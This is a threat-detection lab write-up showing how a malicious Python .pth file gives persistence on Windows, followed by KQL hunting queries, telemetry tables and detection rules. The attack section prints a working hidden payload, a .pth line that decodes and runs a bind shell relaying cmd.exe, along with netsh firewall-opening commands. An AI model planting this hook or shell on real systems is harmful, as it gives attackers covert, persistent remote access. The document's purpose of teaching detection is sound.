Python Persistence via .pth Files
How do I use this?
Click this link Copy init KQL. This will copy a lot of KQL to clipboard that will create the required tables, ASIM parsers, helper functions, and start ingestion of the telemetry. A new window will also open to Azure Data Explorer. Create a free cluster and a database (and a Microsoft account if you don't have one) then paste the clipboard contents into the query window and click Run. The bootstrap process will take about a minute. If you have an existing ADX cluster with data in it, keep in mind that the bootstrap process wipes functions and tables that share names with many common tables. You should create another database if you're concerned about data loss.
The Copy init KQL functionality depends on JS. If it isn't enabled, the link will open a new window to GitHub where you can select all and copy the KQL. Then visit Azure Data Explorer to paste and run the bootstrap query. There are links under the Actions heading on the right for convenience.
Abusing Python .pth files for persistence on Windows
This work is based on Stephan Berger's work Analysis of Python's .pth files as a persistence mechanism, and Volexity Threat Research's post Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400).
Pre-requisites:
- Python version 3.5+
setuptoolsinstalled by pip
The attack
- Appended code to
C:\Users\domainuser\AppData\Local\Programs\Python\Python313\Lib\site-packages\distutils-precedence.pth:
__import__('subprocess').Popen(['pythonw','-c','exec(__import__("base64").b64decode("...").decode())'],creationflags=0x08000000)
Where the base64-encoded data is:
import socket,subprocess,threading,os
s=socket.socket()
s.bind(('0.0.0.0',45565))
s.listen(1)
c,a=s.accept()
s.close()
p=subprocess.Popen('cmd.exe',stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT,creationflags=0x08000000)
def relay():
while True:
try:
data=os.read(p.stdout.fileno(),4096)
if not data:
break
c.sendall(data)
except:
break
threading.Thread(target=relay,daemon=True).start()
while True:
try:
data=c.recv(4096)
if not data:
break
p.stdin.write(data)
p.stdin.flush()
except:
break
pythonexecuted incmd.exe(anything involving Python will do: launching IDLE, opening a Jupyter notebook, ...)First execution resulted in a Windows Firewall prompt about something getting blocked. Only a Cancel button is available
Launched a cmd.exe with admin privs, then executed:
netsh advfirewall firewall delete rule name="pythonw.exe" dir=in
netsh advfirewall firewall add rule name="Test Lab" dir=in action=allow protocol=tcp localport=45555-45565 profile=any- Executed
pythonagain incmd.exe - Another machine on the LAN connected to the victim:
nc 10.2.10.21 45565 - The attacker executed
whoami,hostname,cd Documents,dir,cd ../Downloads,dir
Analysis
I began with this:
DeviceFileEvents
| where ActionType == "FileModified" and FileName endswith ".pth"
Unfortunately, DeviceFileEvents doesn't have any results. MDE applies sampling/filtering, and may not log some FileModified events.
Sysmon Event ID 11: FileCreate caught it, however.
_ASim_FileEvent
| where TargetFileName endswith ".pth"
| where EventType in ("FileCreated", "FileModified", "FileRenamed")
| where TargetFilePath has_any ("site-packages", "dist-packages")
| project
TimeGenerated, DvcHostname, EventType, TargetFileName,
TargetFilePath, ActingProcessName, ActingProcessCommandLine, ActorUsername
Query output:
| TimeGenerated | DvcHostname | EventType | TargetFileName | TargetFilePath | ActingProcessName | ActorUsername |
|---|---|---|---|---|---|---|
| 2026-02-10T04:36:31.178Z | JD-WIN11-22H2-1.ludus.domain | FileCreated | distutils-precedence.pth | C:\Users\domainuser\AppData\Local\Programs\Python\Python313\Lib\site-packages\distutils-precedence.pth | C:\Users\domainuser\AppData\Local\Programs\Python\Python313\python.exe | ludus\domainuser |
| 2026-02-10T04:37:00.968Z | JD-WIN11-22H2-1.ludus.domain | FileCreated | distutils-precedence.pth | C:\Users\domainuser\AppData\Local\Programs\Python\Python313\Lib\site-packages\distutils-precedence.pth | C:\Users\domainuser\AppData\Local\Programs\Python\Python313\pythonw.exe | ludus\domainuser |
Now we know where it was created. Moving on... what happened before/after?
DeviceProcessEvents
| where InitiatingProcessFileName == "cmd.exe"
| project
Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, ProcessId
| Timestamp | DeviceName | FileName | FolderPath | ProcessCommandLine | ProcessId |
|---|---|---|---|---|---|
| 2026-02-10T04:36:17.404Z | jd-win11-22h2-1.ludus.domain | conhost.exe | C:\Windows\System32\conhost.exe | conhost.exe 0xffffffff -ForceV1 | 5508 |
| 2026-02-10T04:36:27.504Z | jd-win11-22h2-1.ludus.domain | python.exe | C:\Users\domainuser\AppData\Local\Programs\Python\Python313\python.exe | python -m pip install setuptools | 4636 |
| 2026-02-10T04:37:22.961Z | jd-win11-22h2-1.ludus.domain | python.exe | C:\Users\domainuser\AppData\Local\Programs\Python\Python313\python.exe | python | 2396 |
| 2026-02-10T04:37:44.066Z | jd-win11-22h2-1.ludus.domain | netsh.exe | C:\Windows\System32\netsh.exe | netsh advfirewall firewall delete rule name="pythonw.exe" dir=in | 11076 |
| 2026-02-10T04:38:04.197Z | jd-win11-22h2-1.ludus.domain | conhost.exe | C:\Windows\System32\conhost.exe | conhost.exe 0xffffffff -ForceV1 | 9448 |
| 2026-02-10T04:38:06.204Z | jd-win11-22h2-1.ludus.domain | netsh.exe | C:\Windows\System32\netsh.exe | netsh advfirewall firewall delete rule name="pythonw.exe" dir=in | 10696 |
| 2026-02-10T04:38:10.222Z | jd-win11-22h2-1.ludus.domain | netsh.exe | C:\Windows\System32\netsh.exe | netsh advfirewall firewall add rule name="Test Lab" dir=in action=allow protocol=tcp localport=45555-45565 profile=any | 2860 |
| 2026-02-10T04:38:19.282Z | jd-win11-22h2-1.ludus.domain | python.exe | C:\Users\domainuser\AppData\Local\Programs\Python\Python313\python.exe | python | 8088 |
We see installation of setuptools, which in this case made .pth persistence possible. We could imagine this already present on a developer's machine, but today we'll pretend it was installed by an attacker. The firewall delete command is an artifact left over from a re-run of the simulation (sorry). In any case, be aware that it is not strictly necessary for this command to run in order for firewall rules to be altered: this can happen via the COM API using a Beacon object file. In fact, many impactful and noisy commands don't have to go over the commandline. A future lab will have telemetry from execution of this and other BOFs, so stay tuned! While you wait, that repo has some good BOFs, take a look.
Detections
_ASim_FileEvent
| where TargetFileName endswith ".pth"
| where TargetFileName !startswith "http"
| where EventType in ("FileCreated", "FileModified", "FileRenamed")
| where TargetFilePath has_any ("site-packages", "dist-packages")
| project
TimeGenerated, DvcHostname, EventType, TargetFileName,
TargetFilePath, ActingProcessName, ActingProcessCommandLine, ActorUsername
Note that | where TargetFileName !beginswith "http" is intended to filter SharePoint sync events.
I adapted this Linux rule from Elastic. I omitted the process exec exclusion expression from the Elastic query because it may be possible to evade. Feel free to email me with your recommended detections. I may place them here and credit you.
Other research regarding malicious .pth files:
Endor Labs TeamPCP Isn't Done: Threat Actor Behind Trivy and KICS Compromises Now Hits LiteLLM's 95 Million Monthly Downloads on PyPI
Rapid7 From .pth to p0wned: Abuse of Pickle Files in AI Model Supply Chains
Volexity Threat Research Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400)